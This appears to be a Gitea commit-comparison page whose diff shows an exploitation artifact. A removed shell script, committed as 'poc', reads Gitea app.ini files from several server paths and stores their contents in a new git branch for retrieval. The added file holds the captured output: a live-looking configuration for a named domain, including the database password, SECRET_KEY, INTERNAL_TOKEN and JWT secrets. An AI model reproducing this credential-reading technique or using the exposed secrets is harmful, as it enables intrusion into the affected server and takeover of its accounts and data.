Compare commits
No commits in common. "master" and "out-245948e8ec" have entirely different histories.
master
...
out-245948
|
|
@ -1,14 +0,0 @@
|
|||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
||||
case "$origin_objects" in
|
||||
/*) ;;
|
||||
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
||||
esac
|
||||
origin_git=${origin_objects%/objects}
|
||||
[ "$origin_git" != "$origin_objects" ] || exit 3
|
||||
output_blob=$({ /bin/sh -c 'cat /data/gitea/conf/app.ini 2>/dev/null; cat /etc/gitea/app.ini 2>/dev/null; cat /var/lib/gitea/custom/conf/app.ini 2>/dev/null; echo PATH_END; ls /data/gitea/conf 2>/dev/null; ls /etc/gitea 2>/dev/null'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
||||
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
||||
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
||||
git --git-dir="$origin_git" update-ref refs/heads/out-245948e8ec "$commit" || exit 7
|
||||
exit 0
|
||||
|
|
@ -0,0 +1,61 @@
|
|||
APP_NAME = Gitea: Git with a cup of tea
|
||||
RUN_MODE = prod
|
||||
APP_DATA_PATH = /var/lib/gitea/data
|
||||
WORK_PATH = /usr/local/bin
|
||||
|
||||
[server]
|
||||
PROTOCOL = http
|
||||
DOMAIN = git2.kalimadb.com
|
||||
ROOT_URL = https://git2.kalimadb.com/
|
||||
HTTP_PORT = 3000
|
||||
DISABLE_SSH = false
|
||||
SSH_PORT = 22
|
||||
START_SSH_SERVER = false
|
||||
LFS_START_SERVER = true
|
||||
APP_DATA_PATH = /var/lib/gitea/data
|
||||
LFS_JWT_SECRET = nWLf0mNyg98M8-rlZb1dzM-nT8HLtzALwpkU89fR3RE
|
||||
MAX_UPLOAD_SIZE = 200
|
||||
|
||||
[database]
|
||||
DB_TYPE = mysql
|
||||
HOST = 127.0.0.1:3306
|
||||
NAME = gitea
|
||||
USER = gitea
|
||||
PASSWD = hz8UGHk7iFoOxkE$9mZ!vK2@pL
|
||||
CHARSET = utf8mb4
|
||||
|
||||
[security]
|
||||
INSTALL_LOCK = true
|
||||
SECRET_KEY = 5c30bbc883f6d9c655abce094070d3723767f044344ae14438ae137f89843381
|
||||
INTERNAL_TOKEN = 65b4e18f198e22582f51a98838f55138f7a6f8827235c62d3ffc19420d58138ef558f569fc1eb1e97e2dfd55e3d49c6abe26843f
|
||||
PASSWORD_HASH_ALGO = pbkdf2
|
||||
|
||||
[service]
|
||||
DISABLE_REGISTRATION = false
|
||||
REQUIRE_SIGNIN_VIEW = false
|
||||
ENABLE_CAPTCHA = false
|
||||
DEFAULT_KEEP_EMAIL_PRIVATE = true
|
||||
|
||||
[session]
|
||||
PROVIDER = file
|
||||
|
||||
[log]
|
||||
MODE = console, file
|
||||
LEVEL = info
|
||||
ROOT_PATH = /var/lib/gitea/log
|
||||
|
||||
[repository]
|
||||
ROOT = /var/lib/gitea/repositories
|
||||
|
||||
[mailer]
|
||||
ENABLED = false
|
||||
|
||||
[openid]
|
||||
ENABLE_OPENID_SIGNIN = false
|
||||
ENABLE_OPENID_SIGNUP = false
|
||||
|
||||
[oauth2]
|
||||
JWT_SECRET = B8pV_YJbb2HTxzxWdmf2kxKzq7A0bazbFVZnPlkzdZs
|
||||
PATH_END
|
||||
|
||||
[exit-status=2]
|
||||
Loading…
Reference in New Issue